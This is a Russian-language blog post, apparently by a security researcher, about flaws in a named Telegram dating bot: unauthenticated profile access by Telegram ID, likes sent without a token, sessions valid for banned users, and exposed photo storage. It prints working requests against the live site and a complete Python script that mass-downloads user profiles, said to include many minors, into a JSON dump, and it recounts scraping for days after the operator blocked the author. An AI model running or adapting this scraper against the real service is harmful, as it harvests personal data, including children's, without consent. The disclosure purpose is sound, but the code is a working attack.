180к MAU, 43% детей и „филькина грамота“: как я искал уязвимости, а нашёл бизнес-схему

• Вступление: Neo vs Mr. Smith
  
• Первая находка: IDOR и профили без авторизации
  
• Токены лайков: Хэш проверяется, но это не спасает
  
• Премиум-иллюзия: обход подписки через profile_view.php
  
• PHPSESSID: Работает даже для забаненных
  
• S3 бакеты: Фото всех и каждого
  
• Скрейпим 12к профилей за 2 дня
  
• Разраб паникует: «Хакер нас дудосит!»
  
• Костыли: abuse_ban и почему они не работают
  
• Архитектура: ISP Manager и test.php
  
• Бизнес-схема: 180k MAU vs ? реальных
  
• Несовершеннолетние: 43% базы — дети
  
• Технический анализ: CVSS и бизнес-импакт
  
• Выводы: Что делать Мистеру Смиту
  
• Disclaimer и этика

GET https://mimoletbot.ru/back/profile/profile_view.php?tg_id=8475284832
Response: 200 OK — полный профиль с фото, именем, возрастом

# Лайки идут мимо токена, и даже мимо анкет в ленте:
POST /back/profile/profile_view.php?tg_id=TARGET_ID
  - Content-Type: multipart/form-data
  - body: ajax=1&action=like&profile_id=TARGET_ID
  - Cookie: PHPSESSID=valid_session  # action_token НЕ нужен!

POST /back/profile/profile_view.php?tg_id=8475284832 HTTP/1.1
Host: mimoletbot.ru
Content-Type: multipart/form-data; boundary=----FormBoundary
Multipart:
ajax: 1
action: like
profile_id: 8475284832

s = requests.Session()
s.cookies.set("PHPSESSID", "valid_or_banned_session_id")
# Работает даже если аккаунт забанен:
# 1. Просмотр профилей через profile_view.php?tg_id=N
# 2. Получение карточек через feed API (bootstrap/next_card)
# 3. Отправка сообщений

session_regenerate_id(true);
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
    session_destroy();
    http_response_code(403);
}
// + флаги безопасности: lifetime 30 мин, secure и пр.!

#!/usr/bin/env python3
import json, time, requests
from tqdm import tqdm
BASE_URL = "https://mimoletbot.ru"
session = requests.Session()
session.cookies.set("PHPSESSID", "YOUR_SESSION_ID_HERE")
def fetch_next(offset: int) -> dict:
    payload = {"action": "next_card", "swipe_offset": offset}
    r = session.post(f"{BASE_URL}/back/api/feed_classic_api.php",
                     data=payload, timeout=10)
    if r.status_code != 200:
        raise RuntimeError(f"Bad status {r.status_code}")
    return r.json()
def scrape(limit: int = 13000) -> list:
    profiles = []
    offset = 0
    pbar = tqdm(total=limit, desc="Scraping")
    while len(profiles) < limit:
        try:
            batch = fetch_next(offset)
        except Exception as e:
            print("[!] error:", e)
            break
        if not batch.get("cards"):
            break
        profiles.extend(batch["cards"])
        offset -= len(batch["cards"])  # отрицательный трюк
        pbar.update(len(batch["cards"]))
        time.sleep(0.08)
    pbar.close()
    return profiles[:limit]
if __name__ == "__main__":
    data = scrape(limit=1000)
    with open("dump.json", "w", encoding="utf-8") as f:
        json.dump(data, f, ensure_ascii=False, indent=2)
    print(f"\n✅ Сохранено {len(data)} профилей в dump.json")

• День 0 — я направил репорт в поддержку.
  
• День 1 — я пробую качать анкеты.
  
• День 2 — он заметил нагрузку и подумал DDoS. Вечером 2-го Дня в канале появляется пост Mr. Smith: «Мамен хакер или их несколько спамили запросами…».
  
• День 3 — я продолжал качать, а он забанил мне IP.

• Репутация: 🔴 Critical — СМИ напишут о «детских фото в открытом доступе», пользователи массово уйдут.
  
• Юридическая: 🔴 Critical — штрафы по ФЗ-152, возможно уголовное дело (ст. 242 УК РФ).
  
• Финансы: 🟠 High — потеря рекламодателей и блокировка платежных шлюзов.
  
• Техническая часть: 🟡 Medium — частично реализован rate-limiting и abuse_ban, но работают некорректно.
  
• Операционная: 🟡 Medium — команду надо переобучать, внедрять процесс security-review.

• ✅ Уведомил разраба (через репорты, которые он игнорировал)
  
• ✅ Не публиковал персональные данные
  
• ✅ Не использовал украденные данные в корыстных целях

• Политика конфиденциальности (mimolet.site) — написано «не передаём данные».
  
• Пользовательское соглашение (mimoletbot.ru) — написано «используем данные для рекламы».
  
• Политика конфиденциальности (mimoletbot.ru) — обещают «защищённые серверы».
  
• Публичная оферта (ООО «Дейтинг», Орёл) — юрлицо в Орле, разраб в Москве.
  
• Стандарты безопасности детей (mimolet.site) — «сервис только для 16+», а в базе 43% детей.
  
• test.php (mimoletbot.ru) — перечисление стека бекенда.